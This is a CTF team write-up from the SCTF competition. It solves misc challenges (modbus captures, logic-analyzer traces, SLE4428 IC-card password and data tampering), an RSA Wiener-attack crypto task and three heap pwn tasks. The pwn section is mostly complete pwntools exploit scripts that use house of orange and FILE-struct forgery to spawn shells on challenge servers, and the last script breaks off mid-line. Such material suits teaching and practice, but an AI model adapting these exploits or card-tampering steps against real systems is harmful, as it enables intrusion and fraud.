Team: De1ta

[TOC]

0x00 Misc

神秘的交易

参考资料:
https://bbs.pediy.com/thread-151259-1.htm
https://www.waitalone.cn/security-hardware-usb.html
下载Saleae Logic 分析软件分析截获的logicdata数据包:

clk栏为时钟电平,data栏为数据电平。
每个指令都在时钟高电平时数据下降沿后开始,数据从低位到高位的顺序发送。发送的命令格式为 一个字节指令类型 一个字节地址 一个字节数据,然后时钟高电平数据电平上升沿代表本次命令结束。我们关注的指令类型为0x33,用于校验口令。发送命令格式为
0x33 0x01 s1
0x33 0x02 s2
0x33 0x03 s3
其中s1 s2 s3拼在一起就是那三个字节的口令了.
在下图方框部分可以找到校验口令:

放大后三条命令分别为:

在时钟电平为高电平时对应的数据电平高低位分别表示1和0,且数据按从低位到高位的顺序发送,因此三调指令分别为:
0x33 0x01 0x40
0x33 0x02 0x31
0x33 0x03 0x10
因此三个口令为 0x40 0x31 0x10

flag:SCTF{403110}

神奇的modbus

拿到数据包,输入modbus过滤

随便点一个,追踪tcp流,得到flag

flag:sctf{Easy_Mdbus}

肥宅快乐题

拿到swf文件,先扔到IE里玩了一下,没有什么特别的发现
游戏难度较高,通关遥遥无期
于是,直接用爱奇艺播放器打开,在第57帧可以看到通关的NPC对话

得到一串base64

flag:SYC{F3iZhai_ku4ile_T111}

被动了手脚的数据

题目提示了数据,这里使用了一款工具modbus-cli(https://github.com/tallakt/modbus-cli )接收modbus协议的数据。用法如下:

这里尝试读取1000字节的数据,由于每次读取数据长度太长会导致timeout,因此每次只读取50字节,写个脚本如下:

#!/bin/bash
start=400001
offset=50
for ((i=$start; i<=400001+1000; i+=50))  
do
    modbus read --modicon 116.62.123.67 $i $offset
    sleep 1
done

在跑出来的结果中,发现在400300-400331地址间有一段可疑数据:

把数据提取出来,转hex转ascii:

data = [21810, 18035, 25671, 22123, 22577, 11092, 26979, 26482, 22117, 18758, 14640, 18761, 30789, 28503, 12912, 28789, 13161, 12151, 26946, 13638, 30073, 26177, 29764, 29293, 11064, 31308, 21879, 27205, 20314, 13876, 26178, 13162] 
print len(data) flag="" 
for i in range(len(data)):  
    flag+=hex(data[i])[2:].decode('hex') 
print flag
#U2FsdGVkX1+TicgrVeIF90IIxEoW2ppu3i/wiB5FuyfAtDrm+8zLUwjEOZ64fB3j

得到字符串U2FsdGVkX1+TicgrVeIF90IIxEoW2ppu3i/wiB5FuyfAtDrm+8zLUwjEOZ64fB3j,由U2Fsd特征易知是AES加密的密文,使用解密网站,密钥为空,解得flag:

flag:sctf{S_y3L_0v6:M_0_dbus}

侧信道初探

从代码可以看出,当ki等于1时,需要多执行一步R←R+P,因此时间和功耗都会增加:

因此1 0 对应关系如下:

flag:SCTF{0110111010}

交易识破后的报复

这题是赛后才解出来的orz

背景知识

0x00 概述

根据IC卡中嵌入的集成电路的不同可以分为三类:存储器卡、逻辑加密卡、CPU卡。其中逻辑加密卡是功能介于存储器卡和CPU卡之间,逻辑加密卡主要是由EEPROM单元阵列和密码控制逻辑组成。根据统计资料分析,逻辑加密卡在应用中所占的比例是最高的。

SLE4428是SIMENS公司设计的逻辑加密IC卡, 容量为1K x 8Bit, 设有两个字节的密码. 只有通过了密码验证, 才可以对IC卡内的没有设置写/擦除保护的内容进行写/擦除. 内部有错误计数器(EC), 错误计数器总是可以被写的, 如果连续8次校验密码不成功, IC卡将自动被锁死, 数据只能读出, 不可再校验密码. 每个字节都可以单独的设置写/擦除保护, 一旦设置了写/擦除保护, 这个字节的数据就不能再写/擦除了, 而且写保护功能只能设置一次. 除了密码区, 其他所有字节在任何时候都可以读出来. (引自: <逻辑加密IC卡SLE4428介绍及其应用>[张元良/杨加林])

下图是卡的引脚及对应的功能:

内部结构图如下:

0x01 4428协议介绍

SLE4428信协议:

数据传输协议是指连接IFD器件和IC之间接口的协议。在I/O的所有数据的变化是由CLK的下降沿上确定的。

数据传递协议由四个模式组成:

  • 复位并应答复位

  • 命令模式

  • 数据输出模式

  • 处理模式

1.1 复位并应答复位

​ 当给IC卡上电后,IC卡进人上电复位(POR)状态,上电复位状态由复位操作停止,复位由RST引脚从0变为1开始,CLK由0变为1结束,复位操作将使IC卡放弃当前执行的命令. 当IC卡复位后,必须进行一次读操作. 如下图复位操作的时序图:

复位应答使Ic卡内部的地址计数器归零, 并且第一个数据位出现在I/O上. 然后再输人31个脉冲, 读出31位数据.

这段数据一般在最开始, 对密码分析暂无价值.

1.2 命令模式

​ SLE4428 IC卡的命令模式(命令输入)是当RST置高电平时, 相反, 当RST置低电平时为数据输出. 相较于复位模式, RST置高电平时间要长很多, 一般为三个字节的时间. 如下图:

RST I/O
1 Command entry(命令输入)
0 Data output(数据输出)

​ SLE4428总共有8种命令模式, 如下图:

如上面两图, 解释如下:

  • Byte 1的低6位(S0 - S5)是执行的操作, 高二位(A8 - A9)是地址位(目的地址)的高二位.
  • Byte 2的8位(A0 - A7)是目的地址的低8位, 所以目的地址位总共有: (A0 - A9) 10位.
  • Byte 3的8位(D0 - D7)是数据位. 当要向IC卡写数据的时候(100011 / 110011 / 000011 / 010011), 这个字节就是要写入的数据. 当IC卡读数据的时候(001100 / 011100 / 101100), 这个地址无效.
  • 注意: 读时序图的时候, 要注意是小端模式.

开始解题

密码校验

​ 题目种提到了改了用户密码, 并修改了金额, 如果是要写数据, 就必须先校验密码, 否则只能读取卡中的部分内容, 更加无法修改数据. SLE4428校验过程如下:

  1. 写错误计数器中没有被写过的一位:

  2. 分别输入(10110011)第一个/第二个校验码, 可得密码是(0512) :

  1. 校验通过后,擦除错误计数器EC(在该数据中没找到, 倒是有个不带保护位的读操作011100, 估计是先读EC, 若错误计数器为0就不擦除, 否则就要擦除.)

写/擦除数据

​ 密码校验通过之后, 便可以进行写/擦除数据的操作. 向IC卡写数据时(写0), 是对IC卡存储区的一个字节的某些位进行写. 向IC卡擦除数据时(写1), 是对IC卡存储区的整个字节进行擦除操作. 下面两图是写/擦除数据操作, 题目修改数据部分, 就是在这里. 这里总共有16次写/擦除操作, 每次操作取相应的目的地址(Byte 2)和数据(Byte 3), 即得到全部flag.

Address: 80 81 82 83 84 85 86 87 88 89 8A 8B 8C 8D 8E 8F

Data: FF F6 05 72 FF FF FF FF FF FF FF FF FF FF FF FF

至此可得flag:

flag:sctf{0512+808182838485868788898A8B8C8D8E8F+FFF60572FFFFFFFFFFFFFFFFFFFFFFFF}

0x01 Crypto

it may contain 'flag'

e非常大,导致d会很小,使用低解密指数攻击。借助工具(https://github.com/pablocelayes/rsa-wiener-attack/blob/master/RSAwienerHacker.py)求得d=731297.则msg=38321129004205530330779911668681589489034853148078444,INT转ASCII得到flag1sH3r3_d_ist0sma1l

flag:SCTF{flag1sH3r3_d_ist0sma1l}

0x02 Pwn

bufoverflow_a

首先leak出libc基址,然后构造large bin 来leak出堆地址,尝试过unsafe unlink…...
然而它delete完会置0………..感觉还是要house of orange……..
下面是payload

from pwn import *

debug=0
e=ELF('./libc.so')
context.log_level='debug'
if debug:
    p=process('./bufoverflow_a',env={'LD_PRELOAD':'./libc.so'})
    context.log_level='debug'
    gdb.attach(p)
else:
    p=remote('116.62.152.176',20001)

def ru(x):
    return p.recvuntil(x)

def se(x):
    p.send(x)


def alloc(sz):
    se('1\n')
    ru('Size: ')
    se(str(sz)+'\n')
    ru('>> ')

def delete(idx):
    se('2\n')
    ru('Index: ')
    se(str(idx)+'\n')
    ru('>> ')

def fill(content):
    se('3\n')
    ru('Content: ')
    se(content)
    ru('>> ')

def show():
    se('4\n')
    data=ru('1. Alloc')
    ru('>> ')
    return data

#-------leak libc base ---------------

alloc(0x108)
alloc(0x108)
delete(0)
delete(1)

alloc(0x108)

libc=u64(show()[:6]+'\x00\x00')

base=libc-0x399B58

print(hex(base))

delete(0)  #clear

#--------leak heap base------------------------

alloc(0x88)
alloc(0x1000)
alloc(0x500)
alloc(0x88)
alloc(0x88)
alloc(0x88)

delete(1)
delete(2)
delete(4)

alloc(0x88)

delete(1)
delete(5)
delete(3)

delete(0)
alloc(0x98)
alloc(0x88)

heap=u64(show()[:6]+'\x00\x00')-0xb0
haddr=heap+0x18

#clear
delete(0)
delete(1)

#---------unsafe unlink-------

alloc(0x108)
alloc(0x108)
alloc(0xf8)
alloc(0x88)


delete(1)
alloc(0x108)

fill(p64(0)+p64(0x101)+p64(haddr-0x18)+p64(haddr-0x10)+'a'*0xe0+p64(0x100))

delete(2)

alloc(0x1f8)
fill(p64(0x41)*0x3e+'\n')
delete(1)
delete(0)

alloc(0x218)
fill('a'*0x118+p64(0x91)+(p64(0x21)*24)[:-1]+'\n')
delete(3)

delete(2)
alloc(0x88)

delete(0)
delete(1)


io_list_all_addr = base + e.symbols['_IO_list_all']
jump_table_addr = base + e.symbols['_IO_file_jumps'] + 0xc0

alloc(0x218)
file_struct=p64(0)+p64(0x61)+p64(libc)+p64(io_list_all_addr - 0x10)+p64(2)+p64(3)

file_struct = file_struct.ljust(0xd8, "\x00")
file_struct += p64(jump_table_addr)
file_struct += p64(base + 0x3f52a)


fill('a'*0x110+file_struct+'\n')

print(hex(base+0x3f52a))
p.interactive()

flag:SCTF{0Ne_Nu11_8y7e_c4n_p1ck_up_7he_e@r7h}

sbbs

login处有溢出,可以在任意地方赋值admin .clientele
利用这个可以扩大某个被free的unsorted bin,然后控制后面的chunk

到这里的话如果给了libc,可以按照上一题的做法,house of orange

这里靠报错信息来找libc

找到是2.23的

然后之后就常规house of orange了

下面是payload

from pwn import *

debug=0
context.log_level='debug'
e=ELF('./libc.so')
if debug:
    #p=process('./sbbs')
    p=process('./sbbs',env={'LD_PRELOAD':'./libc.so'})
    context.log_level='debug'
    gdb.attach(p)
else:
    p=remote('116.62.142.216', 20002)

def ru(x):
    return p.recvuntil(x)

def se(x):
    p.send(x)


def create(sz,content):
    se('1\n')
    ru('Pls Input your note size')
    se(str(sz)+'\n')
    ru('Input your note')
    se(content)
    ru('your note is\n')
    data=ru('\n')[:-1]
    ru('4.exit')
    return data

def delete(idx):
    se('2\n')
    ru('Input id:')
    se(str(idx)+'\n')
    ru('4.exit')

def login(name,ty):
    se('3\n')
    ru('Please input your name')
    se(name)
    ru('choice type')
    se(str(ty)+'\n')
    ru('4.exit')


#-----leak heap--------
create(0x1488,'\n')
create(0x108,'\n')

delete(0)
data=create(0x108,'a'*17+'\n')[16:]
heap=u64(data.ljust(0x8,'\x00'))-0x61


#clear
create(0x1378,'\n')
delete(0)
delete(1)
delete(2)

#--------use login------


create(0x108,'\n')
create(0xe8,(p64(0x60)+p64(0x21))*0xe+'\n')
create(0x108,'\n')
create(0x108,'\n')

delete(1)
login('a'*8+p64(heap+0x118-0xf),0)



libc=u64(create(0x2e8,'\n')+'\x00\x00')
base=libc-0x3C4B78

io_list_all_addr = base + e.symbols['_IO_list_all']
jump_table_addr = base + e.symbols['_IO_file_jumps'] + 0xc0

delete(1)
create(0x2e8,'a'*0xe8+p64(0x91)+p64(0x21)*30+'\n')


for i in range(5):
    create(0x1408,'\n')


delete(1)

delete(2)

file_struct=p64(0)+p64(0x61)+p64(libc)+p64(io_list_all_addr - 0x10)+p64(2)+p64(3)

file_struct = file_struct.ljust(0xd8, "\x00")
file_struct += p64(jump_table_addr)
file_struct += p64(base + 0x4526a)

create(0x2e8,'a'*0xe0+file_struct+'\n')


se('1\n250\n')
print(hex(base))


p.interactive()

flag:sctf{c4FRjmtQKQaRidxdOCjzB898A4fHb0rM}

bufoverflow_b

新加了一个函数,可以控制地址写一个byte, 应该是可以通过这个这个改写当前堆指针
的末尾为0,然后就可以把它自己改成free_hook, 再来就可以修改 free_hook 了

貌似是这样,并没有进行尝试,自己用的应该算是非预期解吧。。

其他的部分和 bufferoverflow_a 都差不多,fill 的时候改了一点

unsigned __int64 __fastcall read_str_E2D(__int64 a1, unsigned __int64 a2)
{
………..
  v5 = __readfsqword(0x28u);
  for ( i = 0; i < a2; ++i )
  {
    if ( read(0, &buf, 1uLL) <= 0 )
    {
      perror("Read faild!\n");
      exit(-1);
    }
    if ( buf == 10 || !buf )  //===========> 这里 buf 读取直到遇到 null buye
………………………………...
}

前面 a 部署 fake chunk size 什么的 时候必定会存在 null byte

这样前面的 fill 的过程就会失效

但是还是可以通过 fill 来部署。。

具体这样

比如要搞一个 fake size 0x61

0x00 | 0x61
fd | bk

首先 fill 一下, size 的地方 传入 \x61
aaaaaaaa| \x61
fd | bk
然后重新 fill 一下, fill 的长度变短,像下面
aaaaaaa\x00|\x61

这样 \x61 就会遗留在 heap 上

其他的地址也可以类似的操作,不断的fill 之后就可以构造和 bufoverflow_a 一样的布局

那就简单了,改改 bufoverflow_a 的脚本就完事了, 脚本当时草草写的,并没有太考虑效率。。这样做缺点是需要有很多fill, 会花比较长时间。。w

#coding:utf-8
from pwn import *
import sys
import time

file_addr='./bufoverflow_b'
libc_addr='./libc.so.6'
host='116.62.152.176'
port=20002

p=process('./bufoverflow_b')
if len(sys.argv)==2:
    p=remote(host,port)


def menu(op):
    p.sendlineafter('>>',str(op))

def alloc(size):
    menu(1)
    p.sendlineafter('Size: ',str(size))

def delsome(index):
    menu(2)

    p.sendlineafter('Index: ',str(index))

def fill(con):
    menu(3)
    p.sendlineafter('Content:',con)
def show():

    menu(4)

def new_fill(payload,size):
    for i in range(size):
        fill('a'*(len(payload)-i)+payload[-i])


context.log_level='debug'
# libc leak
alloc(0x88)#0
alloc(0x88)#1

delsome(0)
alloc(0x88)#0

libc=ELF("./libc.so.6")
show()
leak=u64(p.recvline().strip().ljust(8,'\x00'))

libc_base=leak-0x88 -libc.symbols['__malloc_hook']+0x20

p.info('leak '+hex(leak))
p.info('libc_base '+hex(libc_base))
# clear
delsome(0)
delsome(1)


#### overlap unsorted bin 
alloc(0x150) #0
alloc(0x150) #1

payload='a'*0x110
payload+=p64(0x170)+p64(0x31)
payload+=p64(0x200)+p64(0x20)
new_fill(payload,0x28)

delsome(0)

alloc(0x160)#0
delsome(1)

alloc(0x88)#1
fill('a'*0x88)

alloc(0x88)#2
alloc(0x88)#3
alloc(0xb0)#4

alloc(0x160)#5

delsome(2)
delsome(0)

alloc(0xf0)#0
delsome(4)
alloc(0x290)#2

io_list=libc_base+libc.symbols['_IO_list_all']
system_addr=libc_base+libc.symbols['system']
vtable_addr=libc_base+libc.symbols['_IO_file_jumps']+0xc0-0x480
p.info('vtable_addr '+hex(vtable_addr))


file_struct=p64(0)+p64(0x61)+p64(leak)+p64(io_list - 0x10)+p64(2)+p64(3)
file_struct = file_struct.ljust(0xd8, "\x00")
file_struct += p64(vtable_addr)
file_struct += p64(libc_base + 0x3f38a)


payload='z'*0x10 
payload+=file_struct


size=len(payload)

# ----- ugly fill ---------------
# one _gadget
fill('z'*(size-1))
fill('z'*(size-0x8)+p64(libc_base +0x3f38a))

# vtable 
fill('z'*(size-0x8-1)+'\x00')
fill('z'*(size-0x10)+p64(vtable_addr))
for i in range(0xd8):
    fill('z'*(size-0x11-i)+'\x00')

# p64(3)
fill('z'*(0x10+0x28)+'\x03')
for i in range(0x8):
    fill('z'*(0x10+0x28-i-1)+'\x00')

# p64(2)
fill('z'*(0x10+0x20)+'\x02')
for i in range(0x8):
    fill('z'
           源链接
       

Hacking more

...